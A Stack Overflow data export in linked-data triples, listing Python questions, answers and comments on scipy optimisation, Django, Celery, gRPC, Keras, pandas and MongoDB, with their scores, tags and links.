has body: I m trying to use scipy.optimize.minimize function for a very simple test. It is for the moment a simple cosinus function ponderated with a positive or negative scalar. Of course, the result should be 0 (if the scalar is negative) or Pi (if the scalar is positive). According to the algorithm I select, the result is correct (O or Pi as expected) or not. I don't understand my mistake. Thank you for your help. Her is my code. #!/usr/bin/env python # -*- coding: utf8 -*- from __future__ import division from numpy import linspace, append, zeros, sin, cos, arctan2 from scipy.optimize import minimize import matplotlib.pyplot as plt ##### PARAMETERS ##### EZ = 8.9e-3 EK = 3.3e-5 Bmax = 5.0 Nb = 1001 ph=0.0 old=ph ##### MINIMIZATION ALGORITHM ##### algo='Nelder-Mead' #algo='Powell' #algo='CG' #algo='BFGS' #algo='Newton-CG' #algo='L-BFGS-B' #algo='TNC' #algo='COBYLA' #algo='SLSQP' #algo='dogleg' #algo='trust-ncg' # Energy def F(x,b): ez = -EZ*b*cos(x-ph) return ez def Fx(x,b): return EZ*b*sin(x-ph) def Minimisation(x,b): result=minimize(F, x, jac=Fx , args=(b,), method=algo) return result.x ##### SIMULATIONS ##### list_B=linspace(Bmax,-Bmax,Nb) p1=zeros(2*Nb) M1=zeros(2*Nb) B=append(list_B,-list_B) id=0 for bb in B : new=Minimisation(old, bb) old = new p1[id]=new id=id+1 M1 = cos(p1-ph) ##### PLOT RESULTS ##### plt.plot(B,M1,'b') plt.grid('on') plt.show()

http://stackoverflow.com/q/46916463
has answer: http://stackoverflow.com/a/46916615
tagged with: python
tagged with: loops
type: Question
has body: I am currently trying to create a list of string locations from a list of strings. I tried to search this, but most of the tutorials only seemed to cover printing using for loops. message = "Example string." L = ['m', 'p', 'l'] for P in range(len(L)): message.find(L) This is a mockup code that doesn't work, but this is an example of the string: INPUT : message = "Example string." L = ['m', 'p', 'l'] I want to define a new list that will return [3, 4, 5]
possible better answer: http://stackoverflow.com/a/46916612
has title: Using a for loop to find the location of all strings in a list (Python 2.7)
tagged with: for-loop
accepted answer: http://stackoverflow.com/a/46916510
answer count: 3
has answer: http://stackoverflow.com/a/46916612
upvote count: 1
tagged with: string
downvote count: 1
favorite count: 0
type: AnsweredQuestion
score: 0
tagged with: list
has answer: http://stackoverflow.com/a/46916510

http://stackoverflow.com/comment/80821494
comment on: http://stackoverflow.com/q/46936627
score: 0
has text: Why do you `import array` when you don't use it? You are using a list, and that's probably what you *should* use.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/80832105
has text: @user3476463 are you able to post an example of the json structure? This would help when trying to figure this out. Also, could you not just open up the json file, copy some of the objects into a new file, and then process the file?
type: Comment
score: 0
comment on: http://stackoverflow.com/a/46941009
type: AnswerComment

http://stackoverflow.com/comment/80862114
type: Comment
has text: print('It's 4!') # You should use double or triple quotes.
type: AnswerComment
comment on: http://stackoverflow.com/a/46957345
score: 1

http://stackoverflow.com/comment/80820728
type: Comment
score: 0
comment on: http://stackoverflow.com/q/46936260
has text: Let us [continue this discussion in chat](http://chat.stackoverflow.com/rooms/157493/discussion-between-rshap-and-sascha).
type: QuestionComment

http://stackoverflow.com/q/46953105
has comment: http://stackoverflow.com/comment/80866419
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/80918887
favorite count: 0
type: Question
tagged with: statistics
type: AnsweredQuestion
has title: Program error and questions regarding max. log-likelihood
has body: I'm trying to calculate the maximum log-likelihood (MLE) for the following probability density function (PDF): I'm computing it by minimising the objective function (negative log-likelihood) without relying on any predefined log-likelihood python built-in modules whatsoever. The code is: # Alpha Distribution (PDF) def AD(z, *params): a, scale = z diameters = params return -np.sum(np.log((((diameters)/(a**2) * np.exp(-diameters/a))) / scale)) # load data currpath = ('path') os.chdir(currpath) diameters = scipy.io.loadmat('data.mat')["m1"] # minimise x0 = [1,1] # initial guesses res = optimize.minimize(AD, x0, args = diameters, method='Nelder-Mead', tol=1e-6) print(res.x) My data vector (here already sorted) comprises a number of diameters in the following form (0.19, 0.19, 0.19, 0.2, 0.21, 0.21, 0.22, 0.22, 0.22, 0.25, 0.27 ...). First question: Since I'm fairly new to the topic of MLE, is the form of my data vector correct? I'm not completely sure whether I use a data vector containing every observed diameter (like shown above), or a data vector which only contains the "possible" diameters (which would be: 0.19, 0.2, 0.21, 0.22, 0.25, 0.27 ...), or just the frequencies of the observed diameters (which would be: 3, 1, 2, 3, 1, 1 ...). I think the first option is the right one, but I just wanted to be completely sure. Second question: If I wish to use a cumulative distribution function (CDF) instead of a PDF to perform my MLE on, I would have to change my PDF function to a CDF, right? I was just wondering if I could alternatively somehow modify my data vector and still use the PDF. However, for the minimisation in python (if I understood it correctly) I had to rethink the definition of my variables. That means, normally I would assume that the parameters of my PDF (here "a" and "scale") are the variables which should be passed to "args" in "optimize.minimize". However, in the documentation it is stated, that args should contain the "constant" parameters, therefore I u…
possible better answer: http://stackoverflow.com/a/46992089
score: 1
has answer: http://stackoverflow.com/a/46992089
tagged with: python
accepted answer: http://stackoverflow.com/a/46960936
has comment: http://stackoverflow.com/comment/80859526
has answer: http://stackoverflow.com/a/46960936
has comment: http://stackoverflow.com/comment/80865934
answer count: 2

http://stackoverflow.com/a/46943338
type: AcceptedAnswer
downvote count: 0
upvote count: 1
answers question: http://stackoverflow.com/q/46943073
has comment: http://stackoverflow.com/comment/80835032
has body: There are two components to your problem, and both have to do with how you chose to represent your data. The default behaviour of quiver is to auto-scale your vectors to a reasonable size for a pretty result. The documentation says as much: The default settings auto-scales the length of the arrows to a reasonable size. To change this behavior see the scale and scale_units kwargs. And then scale_units : [ ‘width’ | ‘height’ | ‘dots’ | ‘inches’ | ‘x’ | ‘y’ | ‘xy’ ], None, optional [...] If scale_units is ‘x’ then the vector will be 0.5 x-axis units. To plot vectors in the x-y plane, with u and v having the same units as x and y, use angles='xy', scale_units='xy', scale=1. So in your case, you're telling quiver to plot the arrow in xy data units. Since your arrow is of unit length, it is drawn as a 1-length arrow. Your data limits, on the other hand, are huge: 40 units wide, 150 units tall. On this scale a length-1 arrow is just too small, and matplotlib decides to truncate the arrow and plot a dot instead. If you zoom in, as you said yourself, the arrow appears. If we remove the parameters that turn your arrow into a toothpick, it turns out that the arrow you plot is perfectly fine if you look close enough (not the axes): Now, the question is why this behaviour depends on the orientation of your vectors. The reason for this behaviour is that the x and y limits are different in your plot, so a unit-length horizontal line and a unit-length vertical line contain a different number of pixels (since your data is scaled in xy units). This implies that while horizontal arrows are long enough to be represented accurately, vertical ones become so short that matplotlib decides to truncate them to dots, which shouldn't be too obvious with the default arrow format, but it is pretty bad with your custom arrows. Your use case is such that the rendering cut-off used by matplotlib happens to fall between the length of your horizontal vectors and the length of your vertical ones. You …
has comment: http://stackoverflow.com/comment/80835054
accepted answer of: http://stackoverflow.com/q/46943073
has comment: http://stackoverflow.com/comment/80835139
score: 1
type: Answer
has comment: http://stackoverflow.com/comment/80835260
has comment: http://stackoverflow.com/comment/80835511
has comment: http://stackoverflow.com/comment/80835033
has comment: http://stackoverflow.com/comment/80834929
has comment: http://stackoverflow.com/comment/80835468

http://stackoverflow.com/a/46915403
has comment: http://stackoverflow.com/comment/80779138
accepted answer of: http://stackoverflow.com/q/46915320
has comment: http://stackoverflow.com/comment/80778335
type: Answer
upvote count: 6
has body: Firstly, when you call reverse or reverse_lazy, you provide the arguments and keyword arguments in args and kwargs. You can't do pk_url_kwarg='pk', you need to do kwargs={'pk_url_kwarg': 'pk'}. However you don't want to use the strings 'pk_url_kwarg' and 'pk' in the kwargs dictionary, you want to use the variables self.pk_url_kwarg and self.kwargs['pk'] from the view. You can't access these variables if you set success_url, so you need to override get_success_url instead. def get_success_url(self): return reverse("host:edit-study-offer-image", kwargs={self.pk_url_kwarg:self.kwargs['pk']}) Since your view isn't intended to be subclassed and customised, I don't think you need to use pk_url_kwarg at all. I would simplify the code by hardcoding 'pk'. def get_success_url(self): return reverse("host:edit-study-offer-image", kwargs={'pk': self.kwargs['pk']}) Or use args instead: def get_success_url(self): return reverse("host:edit-study-offer-image", args=[self.kwargs['pk'])
score: 6
answers question: http://stackoverflow.com/q/46915320
has comment: http://stackoverflow.com/comment/80779170
has comment: http://stackoverflow.com/comment/80778422
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80778854
has comment: http://stackoverflow.com/comment/80778973

http://stackoverflow.com/comment/80972896
comment on: http://stackoverflow.com/a/47010569
has text: @wvxvw , just because python is based on C doesn't mean that you can EXECUTE it everywhere. you first need an interpreter installed. and JVM is far more used on the systems than python.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/46977117
has comment: http://stackoverflow.com/comment/80917914
type: Answer
has comment: http://stackoverflow.com/comment/80914422
answers question: http://stackoverflow.com/q/46975875
score: 0
accepted answer of: http://stackoverflow.com/q/46975875
has comment: http://stackoverflow.com/comment/80903654
has body: I think I would use a concatenation with a constant tensor in that case. Unfortunately, I can't quite get it to work, but I'll share my work anyway to hopefully help you on your way. import numpy as np import keras from keras import backend as K from keras.models import Sequential from keras.layers import Conv2D, Dense, Concatenate from keras import optimizers num=18 m=11 n=50 k=3 np.random.seed(100) features = np.random.rand(num, m, n, k) custom_tensor = K.constant(0.1, shape=(11, 48, 1)) input_shape = features.shape[1:] input = keras.Input(shape=input_shape) print(K.ndim(input)) layer0 = Conv2D(2, kernel_size=(1, 3), strides=(1,1),activation='relu')(input) layer0_added = Concatenate(axis=-1)([layer0, custom_tensor]) layer1 = Conv2D(20, kernel_size=(1, 48), strides=(1,1),padding="valid",activation='relu')(layer0_added) layer2 = Conv2D(1, kernel_size=(1, 1), strides=(1, 1),activation='relu',padding="valid")(layer1) layer3 = Dense(1, activation='softmax')(layer2) model = keras.models.model(layer0) Adam = optimizers.Adam(lr=0.00003, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0) model.compile(loss='mse', optimizer=Adam) It produced an error ValueError: `Concatenate` layer requires inputs with matching shapes except for the concat axis. Got inputs shapes: [(None, 11, 48, 2), (11, 48, 1)] But hopefully this helps you along anyway.
type: AcceptedAnswer

http://stackoverflow.com/comment/80944527
type: AnswerComment
has text: yes but every line in the info file will be looped = the amount of the total 2000000
type: Comment
comment on: http://stackoverflow.com/a/46998317
score: 0

http://stackoverflow.com/comment/111660452
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47035234
has text: I know some frown upon `.gif` to show what a program does but in this case I think it would be helpful.
type: AnswerComment

http://stackoverflow.com/q/47045015
answer count: 1
downvote count: 0
favorite count: 0
type: Question
has body: a simple grpc server client, client send a int and server streams int's back. client is reading the messages one by one but server is running the generator function immediately for all responses. server code: import test_pb2_grpc as pb_grpc import test_pb2 as pb2 import time import grpc from concurrent import futures class test_servcie(pb_grpc.TestServicer): def Produce(self, request, context): for i in range(request.val): print("request came") rs = pb2.Rs() rs.st = i + 1 yield rs def serve(): server = grpc.server(futures.ThreadPoolExecutor(max_workers=10)) pb_grpc.add_TestServicer_to_server(test_servcie(), server) server.add_insecure_port('[::]:50051') print("service started") server.start() try: while True: time.sleep(3600) except KeyboardInterrupt: server.stop(0) if __name__ == '__main__': serve() client code: import grpc import test_pb2_grpc as pb_grpc import test_pb2 as pb def test(): channel = grpc.insecure_channel( '{host}:{port}'.format(host="localhost", port=50051)) stub = pb_grpc.TestStub(channel=channel) req = pb.Rq() req.val = 20 for s in stub.Produce(req): print(s.st) import time time.sleep(10) test() proto file: syntax = "proto3"; service Test { rpc Produce (Rq) returns (stream Rs); } message Rq{ int32 val = 1; } message Rs{ int32 st = 1; } after starting the server when i run the client, server side generator started running and completed immediately it looped for the range. what i expected is it will one by one as client calls but that is not the case. is this an expected behaviour. my client is still printing the values but the sever is already completed the function.
tagged with: python-3.x
type: AnsweredQuestion
score: 3
has title: Grpc python client server streaming not working as expected
tagged with: grpc
has answer: http://stackoverflow.com/a/47058691
tagged with: python
accepted answer: http://stackoverflow.com/a/47058691
upvote count: 3

http://stackoverflow.com/q/47058486
has comment: http://stackoverflow.com/comment/81064705
tagged with: python
has answer: http://stackoverflow.com/a/47058565
linked to: http://stackoverflow.com/q/9696495
possible better answer: http://stackoverflow.com/a/47058565
has answer: http://stackoverflow.com/a/47058567
answer count: 4
type: AnsweredQuestion
score: 0
has body: I was thinking this question should be asked on SO, but I was not able to find it somehow(Let me know in the comment section if there was one, i will delete this post) It has came to my attention that when we do list replacement, it only works if we are loop through the list by index. Why? myList = ['a','b','c','d','e'] for item in myList: if item == 'a': item = 's' print("First loop:",myList) //It prints ['a','b','c','d','e'] for i in range(len(myList)): if myList[i] == 'a': myList[i] = 's' print("Second loop:",myList) //It prints ['s','b','c','d','e'] I have tried to read the python control flow documentation: https://docs.python.org/3/tutorial/controlflow.html but it does not really answer my question.
has comment: http://stackoverflow.com/comment/81064509
has comment: http://stackoverflow.com/comment/81064553
accepted answer: http://stackoverflow.com/a/47058789
type: Question
has comment: http://stackoverflow.com/comment/81064357
has title: Python Data Structure: Difference between two types of for-loop in python?
has answer: http://stackoverflow.com/a/47058796
has answer: http://stackoverflow.com/a/47058789

http://stackoverflow.com/q/46916789
tagged with: python
has body: I have an list ordered by some quality function from which I'd like to take elements, preferring the good elements at the beginning of the list. Currently, my function to generate the random indices looks essentially as follows: def pick(): p = 0.2 for i in itertools.count(): if random.random() &lt; p: break return i It does a good job, but I wonder: What's the name of the generated random distribution? Is there a built-in function in Python for that distribution?
has answer: http://stackoverflow.com/a/46916984
has title: Randomly generate integers with a distribution that prefers low ones
accepted answer: http://stackoverflow.com/a/46923124
tagged with: random
answer count: 3
upvote count: 3
possible better answer: http://stackoverflow.com/a/46917135
downvote count: 0
has answer: http://stackoverflow.com/a/46917135
has comment: http://stackoverflow.com/comment/80780959
favorite count: 0
has comment: http://stackoverflow.com/comment/80784515
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/46923124
score: 3

http://stackoverflow.com/a/46918131
accepted answer of: http://stackoverflow.com/q/46917750
has body: In Python, assignment is a statement, not an expression, which is why while (data = GetNewData()) != END: # Do some processing ProcessData(data) doesn't work. (data = GetNewData()) cannot be used as a value. Instead, you could use iter: for data in iter(GetNewData, END): # Do some processing ProcessData(data) The loop will call GetNewData() each iteration, and assign the value to data unless it is equal to END. While this syntax is definitely not as intuitive as the C++ way, it does eliminate bugs where = is substituted for == and vice versa.
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/46917750
downvote count: 0
type: AcceptedAnswer

http://stackoverflow.com/a/47024853
type: Answer
has comment: http://stackoverflow.com/comment/126325289
downvote count: 1
score: 6
has comment: http://stackoverflow.com/comment/81369065
has body: Autoscaling will start new processes when the work load increases. In your case you have set the min number to 1, so you will only see 1 process, unless you start putting more tasks onto your queues. You can change the way the autoscaler works. See the link below for more details: http://docs.celeryproject.org/en/latest/userguide/workers.html#autoscaling
has comment: http://stackoverflow.com/comment/113974088
has comment: http://stackoverflow.com/comment/98705849
upvote count: 7
answers question: http://stackoverflow.com/q/46989636

gis
tags question: http://stackoverflow.com/q/47009473
tag name: gis
type: Tag
tags question: http://stackoverflow.com/q/46960328

http://stackoverflow.com/comment/80798705
type: Comment
has text: @Vinny sure, and I can also call it `gl0bal` (as has been suggested to me) or ` glbal` (as I am doing at the moment). Not nice. And anyway I wanted to know the reason behind it. I thought there was a technical reason which escaped me, but it seems to be a matter of taste.
comment on: http://stackoverflow.com/q/46925624
type: QuestionComment
score: 0

http://stackoverflow.com/a/47026587
type: AcceptedAnswer
downvote count: 0
type: Answer
upvote count: 1
has body: One possible way might be as following: First you can read the string in date format using to_datetime in dataframe and find difference between each row with diff function. In addition, we can find difference in seconds so that there is floating number. Then, shifting difference row by 2 up, and searching for first occurrence of 0 difference would give the peak-date value. # read csv for date with month day df = pd.read_csv('test.csv', sep='\s\s+', engine='python') # Convert to datetime with difference in days df['diff'] = pd.to_datetime(df['peak-date'], format='%d %b').diff() # save difference in seconds in different column and shift by 2 df['diff_seconds'] = df['diff'].apply(lambda row: row.total_seconds()) df['diff_seconds'] = df['diff_seconds'].shift(-2) View dataframe: peak-date diff diff_seconds 0 17 Jan NaT 6307200.0 1 17 Jan 0 days 2592000.0 2 31 Mar 73 days 2678400.0 3 30 Apr 30 days 2246400.0 4 31 May 31 days 0.0 5 26 Jun 26 days 2592000.0 6 26 Jun 0 days 2246400.0 6 26 Jul 30 days 0.0 6 21 Aug 26 days NaN 6 21 Aug 0 days NaN Now get the value before for first consecutive date: # look for the first occurence index and get the row by index first_occur_index = df.diff_seconds.eq(0.0).idxmax() df.iloc[first_occur_index]['peak-date'] Result: '31 May'
score: 1
accepted answer of: http://stackoverflow.com/q/47026046
answers question: http://stackoverflow.com/q/47026046

http://stackoverflow.com/q/47060099
type: Question
tagged with: numpy
tagged with: one-hot-encoding
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81090668
tagged with: arrays
tagged with: python
has title: Xgboost OneHotEncoding: merge numerical and encoded array
has answer: http://stackoverflow.com/a/47095310
score: 1
downvote count: 0
answer count: 1
upvote count: 1
has body: My dataset contains one numerical feature and one categorical feature. It only has 20 observations (for the question purpose). X is a numpy array of shape (20,1) and is like: array([[10], [465], [3556], [899], [090], ....]] encoded_x is a numpy array of shape (20,4) and is like: array([[ 0., 1., 0., 0.], [ 1., 0., 0., 0.], [ 0., 0., 1., 0.], [ 0., 0., 1., 0.], ...................]] Question: Now, how can I merge those array to give them as input to Xgboost? How should the final array look like? My understanding is that numerical features should not be encoded, that is why I have two distinct arrays.
tagged with: xgboost
favorite count: 0

http://stackoverflow.com/comment/80822027
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46931716
score: 0
has text: You could also try running [this script](https://gist.github.com/mrry/ee5dbcfdd045fa48a27d56664411d41c). It might give you more details on your problem.

http://stackoverflow.com/q/47043693
has answer: http://stackoverflow.com/a/58801794
has comment: http://stackoverflow.com/comment/81113562
downvote count: 0
tagged with: django
has answer: http://stackoverflow.com/a/70456042
tagged with: python
answer count: 6
upvote count: 7
tagged with: celery
favorite count: 0
has answer: http://stackoverflow.com/a/48532032
type: AnsweredQuestion
has body: I have a Django 1.11 and Celery 4.1 project, and I've configured it according to the setup docs. My celery_init.py looks like from __future__ import absolute_import import os from celery import Celery # set the default Django settings module for the 'celery' program. os.environ['DJANGO_SETTINGS_MODULE'] = 'myproject.settings.settings' app = Celery('myproject') app.config_from_object('django.conf:settings', namespace='CELERY') #app.autodiscover_tasks(lambda: settings.INSTALLED_APPS) # does nothing app.autodiscover_tasks() # also does nothing print('Registering debug task...') @app.task(bind=True) def debug_task(self): print('Request: {0!r}'.format(self.request)) However, when I launch a worker with: .env/bin/celery worker -A myproject -l info it shows no tasks being found except for the sample "debug_task", even though I have several installed apps with Celery tasks, with should have been found via the call to app.autodiscover_task(). This is the initial output my worker generates: -------------- celery@localhost v4.1.0 (latentcall) ---- **** ----- --- * *** * -- Linux-4.13.0-16-generic-x86_64-with-Ubuntu-16.04-xenial 2017-10-31 15:56:42 -- * - **** --- - ** ---------- [config] - ** ---------- .&gt; app: myproject:0x7f952856d650 - ** ---------- .&gt; transport: amqp://guest:**@localhost:5672// - ** ---------- .&gt; results: amqp:// - *** --- * --- .&gt; concurrency: 4 (prefork) -- ******* ---- .&gt; task events: OFF (enable -E to monitor tasks in this worker) --- ***** ----- -------------- [queues] .&gt; celery exchange=celery(direct) key=celery [tasks] . myproject.celery_init.debug_task [2017-10-31 15:56:42,180: INFO/MainProcess] Connected to amqp://guest:**@127.0.0.1:5672// [2017-10-31 15:56:42,188: INFO/MainProcess] mingle: searching for neighbors [2017-10-31 15:56:43,211: INFO/MainProcess] mingle: all alone [2017-10-31 15:56:43,237: INFO/MainProcess] celery@localhost ready. All my legacy tasks in my app tasks.py files were defined like: from celery.task import ta…
has title: Celery 4 not auto-discovering tasks
has answer: http://stackoverflow.com/a/48491669
has answer: http://stackoverflow.com/a/47044057
possible better answer: http://stackoverflow.com/a/47044103
score: 7
has answer: http://stackoverflow.com/a/47044103
accepted answer: http://stackoverflow.com/a/48532032
type: Question

http://stackoverflow.com/q/46925542
score: 0
answer count: 1
has title: word count error in Python using Anaconda Jupyter
accepted answer: http://stackoverflow.com/a/46925620
type: Question
tagged with: anaconda
has comment: http://stackoverflow.com/comment/80797841
has comment: http://stackoverflow.com/comment/80797954
tagged with: python
has answer: http://stackoverflow.com/a/46925620
has body: I am trying to count words using the Python script below. import os os.chdir('D:\ECP\TAT') filename = 'D:\ECP\TAT\Test.txt' numlines = 0 with open (filename,'r') as file: for l in file: Wordlist = l.split() numlines+=1 print("Wordlist") But I am getting the error: FileNotFoundError: [Errno 2] No such file or directory: 'D:\\ECP\\TAT\\Test.txt' IDE : Anaconda (Jupyter) python : 3.6
type: AnsweredQuestion

http://stackoverflow.com/comment/80787909
type: QuestionComment
has text: Check this out, almost similar question with interesting answers. https://stackoverflow.com/questions/13252333/python-check-if-all-elements-of-a-list-are-the-same-type
comment on: http://stackoverflow.com/q/46919820
score: 1
type: Comment

http://stackoverflow.com/a/47118467
has body: model= SelectKBest(f_classif, k=8).fit(X,Y) Selected_feature_names=X.columns[model.get_support()]
type: Answer
upvote count: 4
score: 3
downvote count: 1
answers question: http://stackoverflow.com/q/46927545

http://stackoverflow.com/comment/81083391
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/46922028
type: Comment
has text: @TadhgMcDonald-Jensen Thank you so much.The issue is resolved :)

http://stackoverflow.com/q/46922243
answer count: 1
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
tagged with: performance
score: 1
has body: Below are two different implementations of a basic Accept/Reject sampler from a Gaussian density function known only up to some 'unknown' normalising constant, now the basic sampler (Method 1) involves repeatedly looping and generating the two required random variables required at each step within that loop. For Method 2 on the otherhand a batch of these random variables are simulated, then looped through for the first acceptance, if there are none then a new batch is simulated and so on. Now when the acceptance probability is small Method 2 does seem to be substantially faster so my first question is can Method 2 be more efficiently implemented? And if this pre-simulating batches of random variables is the most efficient method then is there a principled way of choosing how large these batches should be? Setup import numpy as np from scipy.stats import norm from numpy.random import uniform q = norm(loc=0., scale=3.) def p_(x): return np.exp(-0.5*x**2) k = 1./q.pdf(0.) AR Method 1 def AR1(): while True: z = q.rvs() u = uniform(low=0., high=k*q.pdf(z)) if u &lt;= p_(z): return z AR Method 2 BATCH_SIZE = 5 def AR2(): nt = 0 Zs = q.rvs(size=BATCH_SIZE) # random variables z ~ q(z) Us = uniform(low=0., high=k*q.pdf(Zs)) # uniform rvs on [0, k*q(z)] Pvals = p_(Zs) # unnormalised pdf p_(z) while True: if Us[nt] &lt;= Pvals[nt]: return Zs[nt] else: nt +=1 if nt &gt; BATCH_SIZE - 1: Zs = q.rvs(size=BATCH_SIZE) Us = uniform(low=0., high=k*q.pdf(Zs)) Pvals = p_(Zs) nt = 0
has answer: http://stackoverflow.com/a/61299333
tagged with: python
tagged with: random
type: UnansweredQuestion
has title: Efficient looping in an accept/reject algorithm

http://stackoverflow.com/a/46993861
upvote count: 0
downvote count: 2
answers question: http://stackoverflow.com/q/46993633
score: -2
has comment: http://stackoverflow.com/comment/80934403
has body: Learn to make your life much easier and don't use with open. Instead, learn to use the awesome pathlib package. Using the pathlib.Path.read_text() method, you can load your file into a list of strings, each of which is a line: import pathlib text = pathlib.Path('myfile.txt').read_text() To make that into into a list of lines, use the split method, splitting at each line break: lines = text.split('\n') Almost there. Now you want to make your list of lists. I am a assuming you want each sublist to be made up of the things between the spaces and the commas. With that in mind, construct your list of lists like this: listoflists = [] for line in lines: listoflists.append(line.replace(',', ' ').split()) Finally, do it all in one go as follows: listoflists = [line.replace(",", " ").split() for line in pathlib.Path('myfile.txt').read_text().split("\n")]
type: Answer
has comment: http://stackoverflow.com/comment/80934238
has comment: http://stackoverflow.com/comment/80934355

http://stackoverflow.com/comment/81053639
has text: If many csvs, it should happens. If possible is the best use only some csvs... Or add RAM :(
comment on: http://stackoverflow.com/a/47051928
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/46942056
has answer: http://stackoverflow.com/a/47028814
has comment: http://stackoverflow.com/comment/81020394
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81020191
tagged with: django
linked to: http://stackoverflow.com/q/5755150
has comment: http://stackoverflow.com/comment/81019609
has title: dynamic pagination with django
has comment: http://stackoverflow.com/comment/80992496
has answer: http://stackoverflow.com/a/47037764
has comment: http://stackoverflow.com/comment/80992047
has body: Okay so this is first time using pagination with Django and I am trying to prevent it from reloading my view on each page turn. I'm handling the pagination in the view like this: page = request.GET.get('page', 1) print page paginator = Paginator(list(od.iteritems())[:24], 12) try: data = paginator.page(page) except PageNotAnInteger: data = paginator.page(1) except EmptyPage: data = paginator.page(paginator.num_pages) print data save_query_form = SaveQueryForm(request.POST or None) #if request.method == 'POST': if save_query_form.is_valid(): profile = save_query_form.save(commit=False) profile.user = request.user profile.save() context = { "title":"Search", 'data': data,#list(od.iteritems()), 'tools': od_tools.iteritems(), 'methods': od_methods.iteritems(), 'data4': od_data.iteritems(), 'search_phrase': " ".join(instanceValuesString), 'json_dump': js_data, 'form': save_query_form, } return render(request, 'results.html', context) and the pagination is handled in the html: {% if data.has_other_pages %} &lt;div id='page-slide'&gt; &lt;ul class="pagination" start='$offset'&gt; {% if data.has_previous %} &lt;li&gt;&lt;a href="?page={{ data.previous_page_number }}"&gt;&amp;laquo;&lt;/a&gt;&lt;/li&gt; {% else %} &lt;li class="disabled"&gt;&lt;span&gt;&amp;laquo;&lt;/span&gt;&lt;/li&gt; {% endif %} {% for i in data.paginator.page_range %} {% if data.number == i %} &lt;li class="active"&gt;&lt;span&gt;{{ i }} &lt;span class="sr-only"&gt;(current)&lt;/span&gt;&lt;/span&gt;&lt;/li&gt; {% else %} &lt;li&gt;&lt;a href="?page={{ i }}"&gt;{{ i }}&lt;/a&gt;&lt;/li&gt; {% endif %} {% endfor %} {% if data.has_next %} &lt;li&gt;&lt;a href="?page={{ data.next_page_number }}"&gt;&amp;raquo;&lt;/a&gt;&lt;/li&gt; {% else %} &lt;li class="disabled"&gt;&lt;span&gt;&amp;raquo;&lt;/span&gt;&lt;/li&gt; {% endif %} &lt;/ul&gt; &lt;/div&gt; {% endif %} The issue that I am having is that whenever I switch to another page my entire view will run again and the data will does not reflect the origina…
has comment: http://stackoverflow.com/comment/80992677
has comment: http://stackoverflow.com/comment/80996244
score: 1
tagged with: pagination
tagged with: python
favorite count: 0
type: Question
answer count: 2

http://stackoverflow.com/q/46981025
has comment: http://stackoverflow.com/comment/80910084
type: AnsweredQuestion
has title: How to use sqlalchemy.orm.validates on Null field?
score: 1
answer count: 1
downvote count: 0
upvote count: 1
tagged with: sqlalchemy
favorite count: 0
type: Question
has body: Suppose I have a class: I have a field special_pin that can be null, but cannot be null in a specific context. I want to validate that field by writing a validation function (validates_pin). However the validation function won't run when the special_pin field is null. See my code below from sqlalchemy.orm import validates class User(db.Model): user_type = db.column(db.String, nullable=False) special_pin = db.column(db.String) @validates('special_pin') def validates_pin(self, key, field): if self.user_type == 'special' assert field, 'special user must have special pin'
accepted answer: http://stackoverflow.com/a/46981631
has comment: http://stackoverflow.com/comment/80909876
has answer: http://stackoverflow.com/a/46981631
tagged with: python

http://stackoverflow.com/q/46960889
has comment: http://stackoverflow.com/comment/80869272
favorite count: 0
tagged with: mongodb-query
type: Question
tagged with: mongodb
score: -2
tagged with: python
accepted answer: http://stackoverflow.com/a/46961064
has title: Mongodb query searching through array not working using python
duplicate of: http://stackoverflow.com/q/3985214
has body: My data in mongoDb is stored as following: { '_id': ObjectId('59f1989a83add71bf5ae6867'), 'data': [ {'name1': {'key1': 'val1', 'key2': 'val2', 'key3': 'val3'}, 'name2': {'key1': 'val1', 'key2': 'val2', 'key3': 'val3'}, 'name3': 'searchValue'}, {'name1': {'key1': 'val4', 'key2': 'val5', 'key3': 'val6'}, 'name2': {'key1': 'val4', 'key2': 'val5', 'key3': 'val6'}, 'name3': 'otherValue'}, . . . ] } And my query in python is cursor = db.database.find({ "data.name3": "searchValue" }).sort([( "_id" , -1 ) ]).limit(1) Above query returns whole data. I need following output. { '_id': ObjectId('59f1989a83add71bf5ae6867'), 'data': [ {'name1': {'key1': 'val1', 'key2': 'val2', 'key3': 'val3'}, 'name2': {'key1': 'val1', 'key2': 'val2', 'key3': 'val3'}, 'name3': 'searchValue'} ] } Please help me. Thanks in advance
type: AnsweredQuestion
upvote count: 0
downvote count: 2
linked to: http://stackoverflow.com/q/3985214
answer count: 1
has comment: http://stackoverflow.com/comment/80869193
has answer: http://stackoverflow.com/a/46961064

http://stackoverflow.com/q/46918401
has answer: http://stackoverflow.com/a/46920629
has answer: http://stackoverflow.com/a/46918629
has comment: http://stackoverflow.com/comment/80784316
answer count: 4
score: 0
has answer: http://stackoverflow.com/a/46918460
has comment: http://stackoverflow.com/comment/80813460
has comment: http://stackoverflow.com/comment/80784293
has comment: http://stackoverflow.com/comment/80784555
type: Question
